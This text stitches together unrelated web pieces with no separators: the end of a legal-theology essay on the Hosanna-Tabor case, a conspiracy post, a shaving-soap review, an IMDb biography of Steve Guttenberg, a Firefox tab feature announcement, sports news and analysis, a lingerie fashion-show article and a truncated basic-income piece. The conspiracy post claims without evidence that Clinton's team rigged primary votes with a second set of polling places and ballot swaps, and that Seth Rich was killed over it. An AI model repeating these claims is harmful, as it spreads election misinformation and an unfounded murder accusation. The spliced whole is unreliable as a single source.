Still, we should be very careful before holding Hosanna-Tabor or Cheryl Perich up for ridicule as examples of Lutherans behaving badly. They represent all of us. We can all see in this parable how we who live in a market economy fail our Creator and Redeemer and Sanctifier every day. We can see how far we have fallen from the practice of the early church, in which material blessings were joyfully and freely held in common for the need of the other. Instead, many Christians have come to believe that “our” money, property, jobs, benefits, indeed our time and other resources are personal property to keep or spend any way we like and that the misfortune of others is “their” problem. The Lutheran witness reminds us that we cannot secure ourselves, or perhaps even the success of our institutions, by marketing, budgeting, sales, employment contracts, focusing on customer satisfaction or the like. If we try, we are replacing the real source of our security with false idols. It is especially ironic and cruel that the church has re-made itself in the image of the market economy, rather than asking the market economy to re-make itself for the common good. If the church is just like the world, then the Cheryl Periches and the Hosanna-Tabors will have good reason to fear, to look out for their own economic interests, to treat each other as potential enemies in a secular battle rather than brothers and sisters in Christ. And, indeed, because of sin, we know that many times, they will. But if we at least keep reminding ourselves that trusting in the safety that only God can provide will give us everything we need—that is to say, our freedom to be entirely slaves, entirely given over to the other’s welfare—then a Christian witness is sometimes within our grasp.
Marie A. Failinger is Professor at Hamline University School of Law and is editor of the Journal of Law and Religion.
Notes
1. The facts described here are from the Supreme Court opinion and record filed in Hosanna-Tabor Evangelical Lutheran Church and School v. EEOC, No 10-553 (decided 11 January 2012).
2. The 2010 English translation of Lex Charitatis: A Juristic Disquisition on Law in the Theology of Martin Luther was the work of Valparaiso University Professor of History Gottfried Krodel with the help of Valparaiso University School of Law Professor Jack Hiller (whom Krodel credits with instigating the project) and Valparaiso University Professor of German Henning Falkenstein.
3. Heckel taught at the University of Munich and was a member of the Bayerische Akademie der Wissenschaften, where he carried on research on Luther for forty years until his death in 1963. Whether his late introduction to the English-speaking world is due to the late translation of his work or to some historians’ claims that he was an academic apologist for anti-Semitic arguments of the Third Reich is not clear to me.
Works Cited
Brief for the Petitioner, Hosanna-Tabor Evangelical Lutheran Church and School, v. EEOC, No 10-553. http://www.americanbar.org/content/dam/aba/publishing/previewbriefs/Other_Brief_Updates/10-553_petitioner.authcheckdam.pdf.
Brief of the Lutheran Church-Missouri Synod as Amicus Curiae in Support of Petitioner, available at American Bar Association Supreme Court Preview. http://www.americanbar.org/content/dam/aba/publishing/previewbriefs/Other_Brief_Updates/10-553_petitioneramculutheranchurch-missourisynod.authcheckdam.pdf.
Heckel, Johannes. Lex Charitatis: A Juristic Disquisition on Law in the Theology of Martin Luther. Gottfried G. Krodel, trans. Grand Rapids, Michigan: William B. Eerdmans, 2010.
Hosanna Tabor Evangelical Lutheran Church and School v. Equal Employment Opportunity Commission, No. 10-553, ___ U.S. ___ (11 January 2012).The true picture is coming into focus as The People probe under rocks and boulders, leaving no stone un-turned.
Following is a synopsis on this stunner from Bill Still via a girlfriend of Seth we’re told, explaining one particular method the Clinton election team used to rig the voting. We know who “hacked” the election, and it wasn’t the Russians.
This strategy will make your eyes roll worse than Hillary Clinton’s. Thanks for the heads up, Richard.
This also explains why the soft coup had to take place to prevent these psychopaths from stealing the election. Again.
It also explains the utter shock when Hillary Clinton did NOT win, and why poor Trump needed counseling when he did.
I know why Seth Rich had to die. There were two sets of polling places this primary season– – One set for most of the voters, who went on state websites to find their polling locations–– a second set for Hillary Clinton supporters who looked on Hillary Clinton’s website to find their polling location. The Secretary of State for each state had one set of locations on the record; the other set of locations, the ones listed on Hillary’s website, we’re not on the state record. I know this because I looked on her website to find where a friend should vote–– then double checked the state website, which shows a different address. I thought there must be a mistake –– I kept checking, right up to election day. But until they killed Seth Rich, I couldn’t figure out why there would be two different polling places. This is how I think the scam worked: while most voters looked up their location on their state website, voters who were signed up as Hillary Clinton supporters would be directed to her site to find their polling place. It was set up the same as any other DNC polling place –– with DNC volunteers, regular voting machines, etc.
And a duplicate voter roster, the same as the roster at the other polling place. Voters would be checked off on the roster, same as at the other polling place. Period. And after the polls close, the DNC supervisor would pick up the roster and the ballots. The supervisor would then pick up the roster at the legitimate polling place and the ballots there. He (or she) would then replace a number of Bernie Sanders ballots with an equal number of the ballots from the Hillary Clinton voting location. Then the duplicate roster from the HRC would be shredded and thrown away, along with all the Bernie Sanders ballots that had been replaced. That way the number of people who voted (on the remaining roster) still matches the number of ballots. This is why so many states reported a ”lower than expected voter turnout”. Seth Rich, who was responsible for the app that helped voters find their polling places, did not realize that there were two sets of polling places until he himself went to vote.I recently decided to try some new soaps on a whim and one of the ones I ordered was Catie's Bubbles Le Gardenia de L’Étalon (the gardenia of stallion). I chose this scent because when I was growing up in South Florida, there were several bushes scattered throughout my neighborhood and when they were in bloom you could smell them from a few houses down. The scents has become one of my favorites over time and I often find myself choosing it for candles and the like.
I had not had the best experiences with vegan based soaps however I was willing to try another to see if I could find something that really did work well for me. I had not done much research on the company or their products prior to purchasing so I was really just hoping that I could get a decent lather.
Not only was I really please when it arrived to realize that it was a full 8oz but the smell was far better than I was expecting. My hopes had been set high on first whiff.
Scent The scent is of fresh blooming gardenia flowers. While it is strong, I would not call it overpowering. It fill my bathroom as soon as I start to lather it. Letting the smell linger on my nose with each whiff I can really smell the fresh pedals of the flowers. Since I tend to face lather, I have plenty of time to appreciate the softer notes. Almost like hints of vanilla or honeysuckle. The scent is strong enough to stick around throughout the shave. Re-lathering each pass causes the scent to really come alive again. The smell does not really linger much post shave on my face, however the scent does linger in the room for a few minutes.
Lather This was the first vegan soap that I have tried and really been impressed not only with the quality of the later but with how easy it was to lather with a variety of brush sizes and types. I often find too many soaps lather well, with enough effort. This is not one of those soaps in my opinion. The soft French style soap is almost like a cream. It loads very easily and has quite a decent range of water it can take. The lather can be very sticky if you skimp on the water however. It took me about three days to dial in the water level. Each time I realized I was likely over-loading my brush with soap due to my experience with other vegan soaps. When I dialed everything in, the shaves were fantastic regardless of the razor I chose. I demand quite a bit of cushion out of my razors as enough glide not to stick. This lather delivered better than I expected in both categories.
Post Shave The aftershave feel is where I could tell it was a vegan soap. Tallow based soaps leave my skin feeling moisturized, almost like I used lotion. Le Gardenia leaves my skin feeling fine. Not dry, not really supple either. I use some aftershave regardless so long as a soap does not leave my skin thirsty then I am happy. I would certainly recommend this soap to those who enjoy gardenia or floral scents.Overview (3)
Mini Bio (1)
Steve Guttenberg was born on August 24, 1958 to Ann Newman and Stanley Guttenberg in Boropark, Brooklyn.The family moved from Brooklyn, to Queens, and then to N. Massapequa, where Steve graduated Plainedge High School in 1976. He studied acting both on Long Island and in N.Y.City, moving to L.A. to pursue a film career. His work has ranged from broad comedy to suspense and drama, including number one box office hits and The AFI's chosen 100. Guttenberg made his acting debut in The Boys From Brazil with Laurence Olivier and Gregory Peck. From that recognition, he attracted a variety of leading roles including the film classic Diner(1983), which was chosen by Vanity Fair as the Best Film of the Last Thirty Years, and the broad comedy, Police Academy(1984) which continues to be one of the highest earning film franchises ever. in 1985 Guttenberg's fame increased with Cocoon, a life affirming film of the highest order. The science fiction genre continued with Short Circuit(1986), John Badham's ground breaking artificial intelligence film. Steve worked opposite Isabelle Hupert in Curtis Hansen's Bedroom Window(1986), the heralded Hitchcockian thriller, In 1987, Disney released Three Men and a Baby, Leonard Nimoys popular movie about bachelors raising a child. The film went on to announce itself as the number one grossing film of the year,and provided a successful sequel. On the legitimate stage, Guttenberg appeared in The Boys Next Door(1993) in London's West End, Prelude to a Kiss (1995) on Broadway, and Furthest From The Sun (2000) at the june Lune Theatre in Minneapolis animist recently playing Henry Percy in (20150 The Hudson Warehouse Theatre's production of Henry IV. He has produced an Emmy nominated television special, Gangs, performed in the original Miracle On Ice, and also ABC's The Day After, still one of the most watched television events of this century. Steve has written The Guttenberg Bible, a comedic account of his first ten years in the film industry, and The Kids from DISCO, a superhero children's book relating a story about his nieces and nephews. He guested on Veronica Mars, Party Down, Community and Law and Order,(as every N.Y. actor should). Guttenberg has the record for most original films to go to franchises in film history, and appearing in the most films in The Screen Actors Guild from 1980-1990 tying Gene Hackman. He received a Star on the Hollywood Walk of Fame, and continues to learn and study his beloved craft. In 2016 Emily Smith and he became happily engaged.
- IMDb Mini Biography By: Anonymous
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Trivia (18)
Has Austrian Jewish and Russian Jewish ancestry.
Named honorary mayor of Pacific Palisades, California (2002).
Turned down the role of Josh Baskin in Big (1988), which eventually went to Tom Hanks
Turned down the role of Dr. Peter Venkman in Ghostbusters (1984) in favor of playing Carey Mahoney in Police Academy (1984).
The writers of The Simpsons (1989) pay tribute to Guttenberg in the episode "Homer the Great", (Sixth Season; episode 2F09) where he appears as a cartoon and mentioned in the song sung by the Stonecutters ("Who holds back the electric car? Who makes Steve Guttenberg a star? We do! We do!").
In a recent article in Entertainment Weekly about Police Academy (1984), the author had issues contacting Guttenberg and had no clue why his calls were never returned. Eventually, the author bumped into Guttenberg by sheer coincidence at a restaurant and learned that Guttenberg felt burned by EW in the past and -- although he had no personal issues with the author himself -- declined the interview based on that.
Spent a week volunteering at the Houston Astrodome after Hurricane Katrina hit.
While on the set of Cocoon: The Return (1988), told an interviewer how his mother, Ann, had locked him outdoors. In order to wake him for school, after several failed attempts, she did so while he was still dressed for bed.
Has a website of "Steve Guttenberg Facts" dedicated to him.
One-time boyfriend of Anna Gilligan. They have planned a Chinese adoption as they have both done extensive charity work in and around Beijing (2008).
Attended and graduated from Plainedge High School in North Massapequa, New York (1976).
Attended the Julliard School, State University of New York at Albany and the University of California at Los Angeles.
Received a star on the Hollywood Walk of Fame at 6411 Hollywood Boulevard in Hollywood, California on December 12, 2011.
Started the Guttenhouse Project, which provides housing in south Los Angeles for at-risk foster care youth when they turn 18 and have nowhere else to go. Has also organized a campaign to provides glasses for poor children whose families cannot afford eye care.
Is a member of the Academy of Motion Picture Arts and Sciences (AMPAS). Steve's co-star in The Boys from Brazil (1978), Gregory Peck, sponsored him for academy membership in 1978.
According to his autobiography, "The Guttenberg Bible", Steve is tied with Gene Hackman as the Screen Actors Guild member who worked on the most projects between 1980 and 1990.
Personal Quotes (5)
[addressing the rumours of a Police Academy /Mahoney spin-off film] Definitely. It's coming. People will look down at the idea, but they're in the same business of making money too. The Police Academy (1984) films gave me so much opportunity, and I've got nothing but a good attitude towards them. I sure hope they do it. If the script's right - I'm definitely in. You never know, I may direct.
I just want to do good stories. That's the trap. When people say, "Oh, I don't want to do this again" -- well, if they're good at it, why not do it? I don't care about switching from comedy to drama -- I just like to be able to jump from work to work. I just like to be doing good work -- that's all I want to do. I just want to work.
[on Charles Bubba Smith's death] Bubba was my friend. His generosity was much larger than his physical stature. Only his gift for caring about his friends and family could compare with his achievements on the football field, film and television. He also laughed like no other.
If you're an underdog, mentally disabled, physically disabled, if you don't fit in, if you're not as pretty as the others, you can still be a hero.
[1985] If there's a role for a spear carrier, and it's in a good film, I'll do it. I'd rather have two lines in a good movie than the lead in a piece of doody.A few days ago a new feature landed in Firefox Nightly that makes closing multiple tabs easier than it was before.
I often find myself in situations where I have multiple tabs that I opened only to look at for short periods of time. Sometimes I reach this state while reading articles on Hacker News or looking at funny pictures on Reddit. At the end of looking at the tabs, it would be nice if Firefox had a way to close these ephemeral tabs so you can get back to your previous work quicker.
Well, Firefox now does! If you open lots of tabs from Reddit and then want to close all of the tabs to the right of Reddit, just right-click on the Reddit tab and choose “Close Tabs to the Right”. It’s easy and quick!
Why “close tabs to the right” and not “close tabs to the left”? When we open new tabs they appear on the end, and so naturally tabs that have a longer lifetime end up being promoted to the start-side of the bar. This leads us towards the situation where closing tabs “to the right” is a simple way of closing the ephemeral tabs.
Users who are using Firefox with a right-to-left locale such as Hebrew or Arabic should see the equivalent “Close Tabs to the Left” feature.
Huge thanks go out to Michael Brennan who contributed the patches and automated tests for this feature! Unless something drastic happens, this feature will find its way to Firefox Release in just over 12 weeks in Firefox 24.CLOSE USA TODAY Sports' Larry Berger tallks with potential No. 1 overall pick Karl Towns following the NBA draft lottery.
Karl-Anthony Towns and Jahlil Okafor are both top pick candidates. (Photo: USA TODAY Sports)
NEW YORK — The month-long debate for Karl-Anthony Towns or Jahlil Okafor has officially begun for the Minnesota Timberwolves, winners of Tuesday night's NBA draft lottery.
"We're going to get a great piece. There are a lot of directions we can go," said Timberwolves coach Flip Saunders after the ping pong balls bounced in the organization's favor. "This gives us flexibility. We don't know who we're going to pick."
Saunders wouldn't label the coveted top overall as a "two-player race," adding that "we're going to evaluate these guys and take whoever the best player available is, regardless of position."
Make no mistake, the two best players are Towns and Okafor. D'Angelo Russell, the projected No. 3 pick, told USA TODAY Sports: "I'm the best player in this draft, based on my hunger." But, ultimately, both Towns and Okafor have franchise-changing potential.
"I can't wait to see where my name pops up on June 25," Towns told USA TODAY Sports. He was the front-runner heading into the lottery but Saunders told reporters Tuesday night he "really likes" Okafor.
Who's better? It depends on how it's broken down.
"Okafor is a better player right now. Towns has more potential," USA TODAY Sports' draft expert Derek Bodner said.
NBA Deputy Commissioner Mark Tatum, left, congratulates Minnesota Timberwolves owner Glen Taylor after the Timberwolves won the first pick in the draft, during the NBA basketball draft lottery, Tuesday, May 19, 2015, in New York. (Photo: Julie Jacobson, AP)
Okafor, who averaged 17.3 points and 8.5 rebounds a game in leading Duke to the national championship, offers finesse post moves and jaw-dropping footwork that Blue Devils' assistant coach Jeff Capel compared to Tim Duncan. His weaknesses? Dreadful free-throw shooting (51%) and a-step-behind defense. He's lost 12 pounds since the end of the season in an attempt to debunk the lack of defensive quickness criticism.
Okafor drew a plethora of double teams at the college level, and is a good decision-maker — whether to defer to his teammates or use his agility and frame to score on the low block.
Towns, who averaged 10.3 points and 6.7 rebounds a game in 21 minutes a game for the almost-undefeated Kentucky Wildcats, has an enormously high ceiling on offense and is far more advanced defensively than Okafor. While he played a fitting role in coach John Calipari's platoon offense in 2014-15, it also restricted him from fully blossoming. He came on strong, proving to be UK's most important player in the NCAA tournament, but his versatility was never maximized at the college level. In short, he was just scratching the surface in the NCAA.
Saunders, who asked owner Glen Taylor to target six players in this year's NCAA tournament, describes the No. 1 picks as being a key piece to the Timberwolves' "puzzle." The question is whether the team wants the puzzle put together sooner rather than later.
"I think it is a lot of pressure with our young team," Taylor said. "We have to find the one guy that will work in and complement the other guys."
The other guys are former No. 1 picks Andrew Wiggins and Anthony Bennett, as well as flashy guards Ricky Rubio, Zach LaVine and Shabazz Muhammad.
Whichever big guy gets drafted first, future Hall of Famer Kevin Garnett will be their mentor.
CLOSE USA TODAY Sports' Scott Gleeson breaks down the impact of Tuesday night's NBA draft lottery.
PHOTOS: COLLEGE PLAYERS ENTERING NBA DRAFT EARLYThe Nebraska football team has offered its second quarterback in the 2018 class.
Offensive coordinator Danny Langsdorf and company are apparently very clear in what they they want to be coming in the 2018 class. It shouldn’t surprise anyone they are going for at least two quarterbacks, considering the lack of depth that is going to be at that position starting next year.
Once Tommy Armstrong and Ryker Fyfe graduate after this season, the quarterbacks on the roster will be Patrick O’Brien, Tanner Lee, Tristan Gebbia and maybe Zack Darlington. That’s it.
The Nebraska football team is looking to add more bodies in the future by first offering Oregon commit Colson Yankoff. On Monday night, the team apparently offered a second quarterback in Texas quarterback Jalen Mayden.
https://twitter.com/mayden_5/status/785642901111877632
Mayden announced on Twitter that he had received an offer and seems to at least be a fan, considering his announcement was accompanied with pictures of Tommy Armstrong and Devine Ozigbo. Perhaps the most interesting thing about both of these 4-star quarterback recruits is that they are considered a dual threat.
At Oregon State, Mike Riley and his offensive staff tended to be looking more towards pure passing quarterbacks. Perhaps the years with Tommy Armstrong has shown Langsdorf and company just what kind of weapons a quarterback who can both throw and run can be for a team.
When it comes to winning over the services of the two quarterbacks the Nebraska football team has recently offered, the Huskers have their work cut out for them. Mayden is being recruited by two of the media darlings in the 2016 season in Louisville and Houston.
Yankoff is currently an Oregon Ducks commit who Riley apparently thinks he might be able to poach since the Ducks are struggling badly this year. He also has offers from schools like Boise State, Utah and Washington State.
So far, neither quarterback has said when they are going to visit. Still, it’s nice to see the Nebraska football team being so proactive for the future.Statistics let us to remove emotional stimuli and focus on the hard truth of what happens. But statistics aren’t always enough. It’s necessary to place statistics into context of their environment to understand what they are. 60% accuracy doesn’t tell you any real information, but 60% accuracy throwing against man coverage gives you something to work with. That’s the purpose of this season-long project.
Let’s get this out of the way, these numbers aren’t fully objective. There’s a lot of subjectivity involved with interceptables, drops, single vs full reads, and even what the coverage faced is. This is still a subjective analysis. It’s just adding numbers to that subjective analysis.
Week 1 of 2016 was supposed to be the Jets coming out party as one of the big boys of the AFC. Instead, we got to watch our elite corner disappear, our elite wide receiver be non-existent, and the teams choice of quarterback play a completely boring game. Context stats are not kind to Fitzpatrick’s week 1 performance at all, especially considering 11 of his 19 completions came from behind the line of scrimmage.
Just as the Jets did last year, they kept the game short for Fitzpatrick. His limitations as a passer force them into gameplanning around his flaws to maximize whatever it is they value in him (I don’t see it, so I don’t know what it is). The Jets continued their exotic screen game by adding two new screens to their regular rotation, the Jet Screen (ran both times by Quincy Enunwa) and a slot screen (ran three times to Matt Forte). One of the few routes Fitzpatrick was able to hit consistently against the Bengals were screens, but their value was quickly diminished.
In the video below, you’ll see Enunwa’s first fancy handoff go for 9 and then -1. Then Forte’s special screen goes for 24 and is immediately read by the defense the next two times it’s used, despite the Bengals involved being out of position at the pre-snap.
The Jets have two new screens they’re using. Jet screen + RB Slot screen. Both count as passes. pic.twitter.com/fDReYLjMuO — Edward Gorelik (@edwardgorelik) September 13, 2016
Fitzpatrick was surprisingly productive hitting the Vertical route (although we kept them short as seam passes) and had some good passes on two intermediate post routes. But the Jets made it clear this week they wanted to keep the game out of Fitzpatrick’s hands as much as possible. Along with the 12 passes behind the line of scimmage, an additional five were completely by design. Nearly 50% of passes took Fitzpatrick’s mind out of the game. Those were also their most consistently productive playcalls.
What happens when we remove (some of) those designed plays though?
After dropping the screen game, Fitzpatrick becomes exceptionally inefficient. He had two interceptable passes on 32 total plays (this counts any play with the ball in his hands: run, pass, or sack) and had 5.27 ANY/A. The Jets have always kept Fitzpatrick’s work limited to a single side, but he did have a few plays where he attempted to expand on it and the results weren’t pretty.
Fitz actually goes off his first read here but his accuracy has generally taken massive drops when he does that pic.twitter.com/i8eH9EY96l — Edward Gorelik (@edwardgorelik) September 13, 2016
On the one above, Fitzpatrick reads the left side of an ambiguous zone coverage to see if he can throw the flat for Powell. When he sees the lower defenders don’t move deeper with Decker, he switches to the opposite side and throws way out of Marshall’s catch radius. But the play gave him an opportunity to throw at Decker. The defenders not taking bait and waiting for Powell left an opening. Fitzpatrick had already pre-determined his progression and after seeing Powell’s route closed, he focused on Marshall.
That play is bad, but it wasn’t his worst.
this ball got tipped right.
BUT FITZ WAS AIMING FOR A WR IN QUADRIPLE COVERAGE
ON FIRST DOWN pic.twitter.com/ykek3cA3dS — Edward Gorelik (@edwardgorelik) September 13, 2016
Fitzpatrick’s interception and Marshall’s drop were the most talked about plays in that game, but going back in; this one stood out even more to me. Nothing about it makes sense. The Jets run a play action with almost every receiver going deep. Generally, when faced with deep zone coverage Fitz is quick to checkdown and take the yards. Not here.
A Bengals Rusher affects the throw, but Fitzpatrick is throwing at Marshall who has three defenders immediately in his area and a fourth hovering near it. He did this on first down, with the Jets up 3 from their own side of the field. It’s an extremely reckless decision, regardless of being tipped.
Getting past that, Fitzpatrick did have one good skill based throw.
One of the best throws i’ve seen Fitz make so far as a Jet. Too bad OPI takes it away. pic.twitter.com/p6ePPgWxdj — Edward Gorelik (@edwardgorelik) September 13, 2016
The pre-snap shows cover-1 man with the safety cheating heavily into the box. Jets run a play action that Fitzpatrick cuts short purposely in order to read Marshall’s route. I’ve rarely seen him ever pull this off, but Fitzpatrick manages to actually get the ball over the LB in the lane and right into Marshall’s hands. That’s a difficult pass to make.
Interceptables
Every week I’ll be posting what “Interceptable” passes i saw from Fitzpatrick in their own section. If you’re not familiar with interceptable passes, they were popularized by Cian Fahey (@Cianaf) over the last two seasons. What is and isn’t interceptable is subjective, so I’m opening it up for argument. I’ll be putting what i deemed as potentially interceptable, and why, and if you think you can make the case why it’s not; do so in the comments. If the case is convincing, I’ll remove the play from his interceptables.
3rd and 11 at CIN 40 (10:36 – 2nd) (Shotgun) R.Fitzpatrick pass incomplete short middle to J.Marshall [S.Williams]. PENALTY on CIN-G.Iloka, Unnecessary Roughness, 15 yards, enforced at CIN 40 – No Play
this looks borderline nterceptable to me. Jalin stretching stops it from being a free pick tho S isnt looking anyway pic.twitter.com/CsbaLX7Sx8 — Edward Gorelik (@edwardgorelik) September 13, 2016
The Bengals show a zone coverage and run an exotic overload blitz. One of the rushers has a free lane to Fitzpatrick, who’s watching Jalin Marshall’s route in the middle of the field. Fitzpatrick throws under pressure while hopping, causing his ball to sail beyond Jalin’s catchable area. He has to do a full stretch in air just to touch the ball, which causes it’s trajectory to veer away from going directly into the safeties arms. Even if the case is made that the ball doesn’t get intercepted because the safety is going for the hit, it doesn’t change that the ball is better thrown to the safety than to Jalin.
3rd and 10 at NYJ 25 (0:46 – 4th) (Shotgun) R.Fitzpatrick pass short right intended for E.Decker INTERCEPTED by J.Shaw at NYJ 40. J.Shaw to NYJ 40 for no gain (E.Decker). PENALTY on NYJ-E.Decker, Unnecessary Roughness, 15 yards, enforced at NYJ 40
Fitz interception to Shaw. It’s a really bad throw when you get intercepted by a DB that’s not looking. pic.twitter.com/kyl2G4BSdD — Edward Gorelik (@edwardgorelik) September 14, 2016
I don’t think this will have to be argued, but sometimes actual interceptions aren’t always interceptable passes from the QB. The Jets are running a sail concept against the Bengals deep cover-2 man. The Sail is a combination of a vertical + corner/out + drag/quick out route all on the same side of the field. It causes a vertical stretch on the zone defenders there (if its zone) and also allows the QB to read three routes by only looking at a third of the field. Fitz decides to take Decker on the corner, obviously to try and get him out of bounds, but underthrows it so badly that Josh Shaw has the ball fall into his chest for an interception that he’s not even looking for. I think this one would be hard to debate, but you’re free to try.
Extra Stats
Fitzpatrick had 2 passes dropped, losing 21 total yards (without YAC).
He also had 10 passes that were deemed inaccurate, four were further than 10 yards and the remaining six were ahead of the line of scrimmage. All of them were on non-designed plays.
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Photo Credit: NewYorkJets.com
RelatedA fashion show that took place Sunday at New York Fashion Week is getting tons of attention—not just for the clothes it displayed, but for the models themselves. The AnaOno X #Cancerland fashion show featured 16 women modeling lingerie—all of whom are either currently battling or have battled breast cancer.
The show featured underwear from AnaOno Intimates, a lingerie company that makes products with breast cancer patients in mind. Designer Dana Donofree started AnaOno in 2015 after battling breast cancer and having both of her breasts removed. She eventually underwent reconstructive surgery, but realized traditional bras were hard for her to wear.
"I went to my underwear drawer and pulled out all the beautiful lacy bras I owned and I quickly realized this wasn't going to work. I was no longer normal," she told TODAY in 2015 about her experience. "I thought, this can't be it: This can't be the way I'm going to have to live the rest of my life." That's when Dana decided to design her own bras for the many women like her who had undergone breast cancer treatment.
You’re always hearing debates about women’s body image—now’s YOUR chance to weigh in. Take our nude attitude survey now!
Each of the women who walked in Dana’s show have undergone some sort of breast surgery, ranging from a lumpectomy to a single or double mastectomy. Some women had reconstructive surgery while others didn’t. Some women went topless or wore body paint up top, while others modeled bras. The women represented a range of ages and races, to show that cancer can touch any life.
"This is my one little chance to help a woman feel a little bit better about herself in her journey," Dana told Women's Health about her business in 2015. "Work is also part of my healing process," she says.
Check out some of the beautiful and inspiring images from the show, below:6 minute read…
The idea of a basic income guarantee — a policy whereby each citizen, regardless of employment status, would receive a basic amount of income each year — is not a new idea. It’s percolated up again and again across the globe. While Switzerland roundly defeated a recent citizen referendum on the issue, it was the first time the idea was put to a vote on a country-wide level.
James Surowiecki writing for the New Yorker calls the question: Why don’t we have a basic income guarantee in the US?
“One striking thing about guaranteeing a basic income is that it |
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